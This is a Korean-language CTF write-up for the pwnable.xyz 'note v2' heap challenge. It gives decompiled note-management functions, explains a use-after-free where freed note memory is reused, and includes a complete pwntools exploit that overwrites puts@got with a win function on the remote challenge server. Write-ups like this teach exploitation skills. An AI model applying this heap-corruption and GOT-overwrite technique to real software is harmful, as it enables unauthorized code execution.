[pwnable.xyz]note v2
size, title, note 입력받는데 title하고 note 따로 따로 malloc해준다.
int make_note()
{
_QWORD *v0; // rax
int v1; // eax
__int64 v2; // rcx
int v4; // [rsp+4h] [rbp-Ch]
void **buf; // [rsp+8h] [rbp-8h]
if ( count <= 32 )
{
printf("size of note: ");
v4 = read_int32();
buf = (void **)malloc(40uLL);
if ( !buf[4] )
buf[4] = malloc(v4);
printf("title: ");
read(0, buf, 32uLL);
printf("note: ", buf);
read(0, buf[4], v4 - 1);
v1 = count++;
v2 = v1;
v0 = book;
book[v2] = buf;
}
else
{
LODWORD(v0) = puts("Limit reached.");
}
return (signed int)v0;
}
edit함수인데 make_note함수에서 입력한 길이만큼 바꿀 수 있다.
ssize_t edit_note()
{
ssize_t result; // rax
size_t v1; // rax
ssize_t v2; // [rsp+8h] [rbp-8h]
result = get_note();
v2 = result;
if ( result )
{
printf("Title %s: ", result);
v1 = strlen(*(const char **)(v2 + 32));
result = read(0, *(void **)(v2 + 32), v1);
}
return result;
}
delete함수는 note를 free해준다. 그리고 0으로 초기화해준다.
_QWORD *delete_note()
{
_QWORD *result; // rax
int v1; // eax
__int64 v2; // rdx
result = (_QWORD *)get_note();
if ( result )
{
free((void *)result[4]);
v1 = count--;
v2 = v1;
result = book;
book[v2] = 0LL;
}
return result;
}
title이랑 note 출력해준다.
int print_note()
{
__int64 v0; // rax
v0 = get_note();
if ( v0 )
LODWORD(v0) = printf("%s : %s\n", v0, *(_QWORD *)(v0 + 32));
return v0;
}
title은 free를 안해주고 note만 free해준다. 이게 32바이트 꽉채운 다음에 heap주소 저장된거 leak할 수 있긴한데 별로 쓸모 없다. 그리고 tcache unsorted bin attack으로 main_arena leak 가능하긴한데 이것도 별로 쓸모없다.
그냥 간단하게 UAF 취약점이 터져서 puts@got를 win으로 덮어줬다.
exploit.py
from pwn import *
context.log_level = 'debug'
e = ELF('./challenge')
#p = process('./challenge')
p = remote('svc.pwnable.xyz',30030)
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
count = 0x0000000000602264
book = 0x0000000000602280
win = e.symbols['win']
def quit():
sa('>','0')
def make(size,title,note):
sa('>','1')
sa(':',str(size))
sa(':',title)
sa(':',note)
def edit(idx,note):
sa('>','2')
sa(':',str(idx))
sa(':',note)
def delete(idx):
sa('>','3')
sa(':',str(idx))
def printf(idx):
sa('>','4')
sa(':',str(idx))
make(0x420,'A'*4,p64(e.got['puts'])*10)
make(32,'B'*4,'C'*4)
delete(0) # -> unsorted bin
make(0x420,'D'*8,p64(win))
sla('>','99999')
p.interactive()